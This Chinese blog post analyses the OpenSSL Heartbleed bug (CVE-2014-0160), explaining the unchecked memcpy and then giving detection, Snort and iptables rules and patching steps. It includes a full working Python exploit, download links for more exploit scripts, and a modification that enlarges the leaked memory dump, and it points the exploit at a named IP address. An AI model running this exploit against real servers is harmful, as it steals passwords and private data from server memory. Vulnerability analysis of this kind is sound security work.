一、openssl漏洞形成原因
4月7日,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞。在黑客社区,它被命名为“心脏出血”,表明网络上出现了“致命内伤”。利用该漏洞,黑客可以获取约30%的https开头网址的用户登录账号密码,其中包括购物、网银、社交、门户等类型的知名网站。该漏洞最早公布时间为4月7日,原文作者为Sean Cassidy 在其blog上发表“existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug”(http://blog.existentialize.com/d ... heartbleed-bug.html)。2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1版本中存在严重漏洞(CVE-2014-0160),此次漏洞问题存在于ssl/dl_both.c文件中。OpenSSL Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的openssl服务器内存中长大64K的数据。
1.漏洞分析
漏洞存在文件ssl/dl_both.c,漏洞的补丁从这行语句开始:
int            
dtls1_process_heartbeat(SSL *s)
   {          
   unsigned char *p = &s->s3->rrec.data[0], *pl;
   unsigned short hbtype;
   unsigned int payload;
   unsigned int padding = 16; /* Use minimum padding */
结构体SSL3_RECORD的定义如下
typedef struct ssl3_record_st
   {
       int type;               /* type of record */
       unsigned int length;    /* How many bytes available */
       unsigned int off;       /* read/write offset into 'buf' */
       unsigned char *data;    /* pointer to the record data */
       unsigned char *input;   /* where the decode bytes are */
       unsigned char *comp;    /* only used with decompression - malloc()ed */
       unsigned long epoch;    /* epoch number, needed by DTLS1 */
       unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */
   } SSL3_RECORD;
每条SSLv3记录中包含一个类型域(type)、一个长度域(length)和一个指向记录数据的指针(data)。在dtls1_process_heartbeat中:
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;
SSLv3记录的第一个字节标明了心跳包的类型。宏n2s从指针p指向的数组中取出前两个字节,并把它们存入变量payload中——这实际上是心跳包载荷的长度域(length)。注意程序并没有检查这条SSLv3记录的实际长度。变量pl则指向由访问者提供的心跳包数据。
这个函数的后面进行了以下工作:
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 byte
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
所以程序将分配一段由访问者指定大小的内存区域,这段内存区域最大为 (65535 + 1 + 2 + 16) 个字节。变量bp是用来访问这段内存区域的指针。
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
宏s2n与宏n2s干的事情正好相反:s2n读入一个16 bit长的值,然后将它存成双字节值,所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序从pl处开始复制payload个字节到新分配的bp数组中——pl指向了用户提供的心跳包数据。最后,程序将所有数据发回给用户。 
2.用户可以控制变量payload和pl成为可利用漏洞
如果用户并没有在心跳包中提供足够多的数据,会导致什么问题?比如pl指向的数据实际上只有一个字节,那么memcpy会把这条SSLv3记录之后的数据——无论那些数据是什么——都复制出来。
二、可利用POC及其测试
1、poc获取
漏洞公布后不久网上就出现了国外牛人们写的POC,在该漏洞发布的第一时间我们对此漏洞进行了分析与验证是否能够获取一些敏感信息。漏洞发布的同时攻击可利用的脚本也已经在网络中流传。下面漏洞利用脚本的下载地址:
http://s3.jspenguin.org/ssltest.py  (python脚本)
http://pan.baidu.com/s/1nt3BnVB  (python脚本)
https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py
https://raw.githubusercontent.co ... ter/ssltest-stls.py
网上在线检测:
http://possible.lv/tools/hb/
http://filippo.io/Heartbleed/
2. poc代码
将以下代码保存为ssltest.py文件,Poc代码如下:

  1. #!/usr/bin/python

  2. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

  3. # The author disclaims copyright to this source code.

  4. import sys

  5. import struct

  6. import socket

  7. import time

  8. import select

  9. import re

  10. from optparse import OptionParser

  11. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

  12. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

  13. def h2bin(x):

  14. return x.replace(' ', '').replace('\n', '').decode('hex')

  15. hello = h2bin('''

  16. 16 03 02 00  dc 01 00 00 d8 03 02 53

  17. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf

  18. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00

  19. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88

  20. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c

  21. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09

  22. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44

  23. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c

  24. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11

  25. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04

  26. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19

  27. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08

  28. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13

  29. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00

  30. 00 0f 00 01 01

  31. ''')

  32. hb = h2bin('''

  33. 18 03 02 00 03

  34. 01 40 00

  35. ''')

  36. def hexdump(s):

  37. for b in xrange(0, len(s), 16):

  38. lin = [c for c in s[b : b + 16]]

  39. hxdat = ' '.join('%02X' % ord(c) for c in lin)

  40. pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

  41. print '  %04x: %-48s %s' % (b, hxdat, pdat)

  42. print

  43. def recvall(s, length, timeout=5):

  44. endtime = time.time() + timeout

  45. rdata = ''

  46. remain = length

  47. while remain > 0:

  48. rtime = endtime - time.time()

  49. if rtime < 0:

  50. return None

  51. r, w, e = select.select([s], [], [], 5)

  52. if s in r:

  53. data = s.recv(remain)

  54. # EOF?

  55. if not data:

  56. return None

  57. rdata += data

  58. remain -= len(data)

  59. return rdata

  60. def recvmsg(s):

  61. hdr = recvall(s, 5)

  62. if hdr is None:

  63. print 'Unexpected EOF receiving record header - server closed connection'

  64. return None, None, None

  65. typ, ver, ln = struct.unpack('>BHH', hdr)

  66. pay = recvall(s, ln, 10)

  67. if pay is None:

  68. print 'Unexpected EOF receiving record payload - server closed connection'

  69. return None, None, None

  70. print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

  71. return typ, ver, pay

  72. def hit_hb(s):

  73. s.send(hb)

  74. while True:

  75. typ, ver, pay = recvmsg(s)

  76. if typ is None:

  77. print 'No heartbeat response received, server likely not vulnerable'

  78. return False

  79. if typ == 24:

  80. print 'Received heartbeat response:'

  81. hexdump(pay)

  82. if len(pay) > 3:

  83. print 'WARNING: server returned more data than it should - server is vulnerable!'

  84. else:

  85. print 'Server processed malformed heartbeat, but did not return any extra data.'

  86. return True

  87. if typ == 21:

  88. print 'Received alert:'

  89. hexdump(pay)

  90. print 'Server returned error, likely not vulnerable'

  91. return False

  92. def main():

  93. opts, args = options.parse_args()

  94. if len(args) < 1:

  95. options.print_help()

  96. return

  97. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  98. print 'Connecting...'

  99. sys.stdout.flush()

  100. s.connect((args[0], opts.port))

  101. print 'Sending Client Hello...'

  102. sys.stdout.flush()

  103. s.send(hello)

  104. print 'Waiting for Server Hello...'

  105. sys.stdout.flush()

  106. while True:

  107. typ, ver, pay = recvmsg(s)

  108. if typ == None:

  109. print 'Server closed connection without sending Server Hello.'

  110. return

  111. # Look for server hello done message.

  112. if typ == 22 and ord(pay[0]) == 0x0E:

  113. break

  114. print 'Sending heartbeat request...'

  115. sys.stdout.flush()

  116. s.send(hb)

  117. hit_hb(s)

  118. if __name__ == '__main__':

  119. main()

复制代码

3.具体测试方法
openssl.py / ssltest.py,用法:python openssl.py ip/域名 -p 端口
网上POC作者公布的代码每次只dump 16kb 内存,如果需要dump 64kb内存需要做如下修改:
hb = h2bin('''
18 03 02 00 03
01 40 00  //此处修改为01 ff ff
''')
将“for b in xrange(0, len(s), 16)”改成“for b in xrange(0, len(s), 64)”
后期还出现支持支持smtp, pop3, imap, ftp, or xmpp的POC(http://lcx.cc/?i=4276)。
三、openssl检测技术
利用openssl心脏出血漏洞利用代码,笔者第一时间进行测试,测试分为两个方面,一个是通过网页在线检测,另外就是通过脚本直接获取内存内容。
1.网页检测
网页检测使用网站“http://possible.lv/tools/hb/”效果较好,打开该页面后,在输入框中输入网站域名地址即可,如果默认端口不是443,则需要输入具体的端口,例如www.somesite.com:4433,则表示端口为4433,检测会有进度条显示,100%后,会在下面显示检测结果。如图1所示,则表示不存在漏洞。随机更换一个网站地址,如图2所示,获取该网站存在漏洞。

图1在线检测漏洞

图2获取kuaiyinpan.com存在漏洞
2.通过py脚本进行检测
在linux 终端窗口中输入“python ssltest.py 66.175.219.225  -p 443”命令,如图3所示获取该漏洞提示信息“ver=0302”该版本表示存在漏洞。在获取的内容中可能会包含用户密码和用户名等信息。

图3通过py脚本进行测试
3.对存在漏洞的网站进行扫描检测
下载nmap最新版本,在本地进行编译,或者使用命令进行更新“nmap --script-updatedb”,或者下载“wgethttps://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse”,世界测试过程中直接下载该脚本会缺少一些模块,然后通过以下命令进行扫描:
nmap -p 443 --script ssl-heartbleed 66.175.219.225
如果存在漏洞,则会给出该漏洞的相关提示,如图4所示。

图4扫描检测存在漏洞服务器
4.通用Snort规则检测
由于众所周知的SSL协议是加密的,我们目前没有找到提取可匹配规则的方法,我们尝试编写了一条基于返回数据大小的检测规则,其有效性我们会继续验证,如果有问题欢迎反馈。alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"openssl Heartbleed attack";flow:to_server,established; content:"|18 03|"; depth: 3; byte_test:2, >, 200, 3, big; byte_test:2, <, 16385, 3, big; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:20140160; rev:2;)
Snort规则说明:此次漏洞主要针对的SSL协议。是针对心跳数据包前4个字节中包含\x18\x03,而在数据包第5个字节和第6个字节的数值按大尾模式转化成数值在200和16385之间,在后面则是一些报警和过滤功能,日志记录里,每10分钟记录一次。
四、修复建议
   1.openssl心脏出血漏洞受影响版本
通过实际测试,受影响版本:
OpenSSL 1.0.2-beta
OpenSSL 1.0.1 - OpenSSL 1.0.1f
不受影响版本:
OpenSSL 1.0.1g is NOT vulnerable
OpenSSL 1.0.0 branch is NOT vulnerable
OpenSSL 0.9.8 branch is NOT vulnerable
2.修复建议
(1)升级openssl软件。要解决此漏洞,建议服务器管理员或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS选项重新编译OpenSSL,从而禁用易受攻击的功能,直至可以更新服务器软件。(OpenSSL官方)最新版本升级地址为:https://www.openssl.org/source/.
(2)重新编译OpenSSL并去掉DOPENSSL_NO_HEARTBEATS扩展。
$ echo -e "B\n" | openssl s_client -connect targetwebsite:443 -tlsextdebug 2>&1| grep 'heartbeart'
(3)如果不能升级OpenSSL可以更新IPTable防火墙规则。t# Log rules
iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 \
"52=0x18030000:0x1803FFFF" -j LOG --log-prefix "BLOCKED: HEARTBEAT"
# Block rules
iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 \ "52=0x18030000:0x1803FFFF" -j DROP
3.centos修复方法参考
(1)yum方法安装
yum search openssl
yum install openssl     
/etc/init.d/nginx restart   #然后重启nginx
(2)下载编译安装
wget http://www.openssl.org/source/openssl-1.0.1g.tar.gz
cd openssl-1.0.1g 
./config 
make && make install 
/etc/init.d/nginx restart #重启nginx

参考文章:
(1)http://blog.existentialize.com/d ... heartbleed-bug.html
(2)http://drops.wooyun.org/papers/1381
(3)http://bbs.safedog.cn/thread-60096-1-1.html
(4)http://www.techweb.com.cn/ucweb/news/id/2025856
(5)测试工具包下载地址:
http://www.antian365.com/forum.p ... id=12061&extra=
http://www.antian365.com/tools/0day/openssl.zip
(6)判断是否支持Heartbeat的NSE脚本http://www.freebuf.com/articles/system/31499.html

Openssl“心脏出血”漏洞分析及其利用相关推荐

  1. 关于OpenSSL“心脏出血”漏洞的分析

    0x00 背景 原作者:Sean Cassidy 原作者Twitter:@ex509 原作者博客:http://blog.existentialize.com 来源:http://blog.exist ...

  2. 漏洞分析---关于OpenSSL“心脏出血”漏洞的分析

    关于OpenSSL"心脏出血"漏洞的分析 关于出处 原文作者:Sean Cassidy [Twitter:@ex509 ] 原作博客:http://blog.existential ...

  3. 关于 OpenSSL“心脏出血”漏洞的分析

    高危漏洞预警#昨日有国外黑客爆出OpenSSL存在一处内存泄漏漏洞,该漏洞可随机泄漏https服务器64k内存,内存中可能会含有程序源码.用户http原始请求.用户cookie甚至明文帐号密码等,已经 ...

  4. 渗透测试-Openssl心脏出血漏洞复现

    心脏滴血 早在2014年,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞.在黑客社区,它被命名为"心脏出血",表明网络上出现了"致命内伤".利用该漏 ...

  5. OpenSSL“心脏出血”漏洞爆发和修复方法

    2019独角兽企业重金招聘Python工程师标准>>> 4月8日消息,昨日有国外黑客爆出OpenSSL存在一处内存泄漏漏洞(即OpenSSL"心脏出血"漏洞),该 ...

  6. OpenSSL“心脏出血”漏洞

    OpenSSL"心脏出血"漏洞是一个非常严重的问题.这个漏洞使攻击者能够从内存中读取最多64 KB的数据. AD: 当我分析GnuTLS的漏洞的时候,我曾经说过,那不会是我们看到的 ...

  7. OpenSSL心脏出血漏洞全回顾

    近日网络安全界谈论的影响安全最大的问题就是Heartbleed漏洞,该漏洞是4月7号国外黑客曝光的.据Vox网站介绍,来自Codenomicon和谷歌安全部门的研究人员,发现OpenSSL的源代码中存 ...

  8. linux 心脏滴血漏洞,心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏洞 (附修复指南))...

    心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏洞 (附修复指南)),哪吒游戏网给大家带来详细的心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏 ...

  9. (CVE-2014-0160)OpenSSL 心脏出血漏洞

    (CVE-2014-0160)OpenSSL 心脏出血漏洞 一.漏洞简介 Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为 ...

最新文章

  1. 强大的Charles的使用,强大的flutter1.9
  2. 格灵深瞳算法团队获得NIST人脸识别竞赛全球第一
  3. python执行外部命令或URL
  4. python进阶(小白也能看懂)——装饰器浅谈(一)
  5. 冒泡排序 快速排序 插入排序 选择排序
  6. llinux下kvm虚拟化
  7. Linux学习总结(52)——主流 Linux 发行版性能对比
  8. Cordova Android 禁用长按选中功能
  9. 21天Jmeter打卡Day20 响应断言,JSON断言
  10. Linux学习笔记(一):Win10上用VMware虚拟机安装Linux-CentOS
  11. 设计模式(五)Prototype Pattern
  12. 利用python gdal读写遥感影像
  13. wdcp v2.5.15 php版本,linux服务器/虚拟主机管理系统wdcp v2.5.6版本发布
  14. GPS: 经纬度概念
  15. 颜色中英文对照表颜色名字色彩名称
  16. 炉石传说一直显示重新连接服务器,炉石传说一直显示战网开启中 炉石传说卡在启动战网解决办法...
  17. 学java好还是学挖机好_现在开挖掘机还能月入上万吗,为何年轻人还是热衷于学挖掘机?...
  18. 基于RTL—SDR及Simulink的FM收音机仿真
  19. edge打开pdf不显示印章_一旦碰到Edge浏览器打不开pdf文件,只需这样做就可完美解决!...
  20. js为什么设置为单线程,怎么实现多线程

热门文章

  1. 拨号被远程计算机终止出现619,网络错误代码大全.doc
  2. c语言2015实验版本,C语言实验册-2015.10.doc
  3. Mono和Flux的用法详解
  4. 目标检测之--mmdetection使用
  5. BaseQuickAdapter刷新列表数据
  6. 莫让时间从指缝中溜走
  7. 【腾讯云FinOps Crane 集训营】让我看看还有谁没用过crane这个降本利器
  8. egret php交互,egret 发送HTTP请求
  9. php视频教程折蜗牛,立体折纸蜗牛的折纸视频教程
  10. abaqus热力耦合模拟教程学习笔记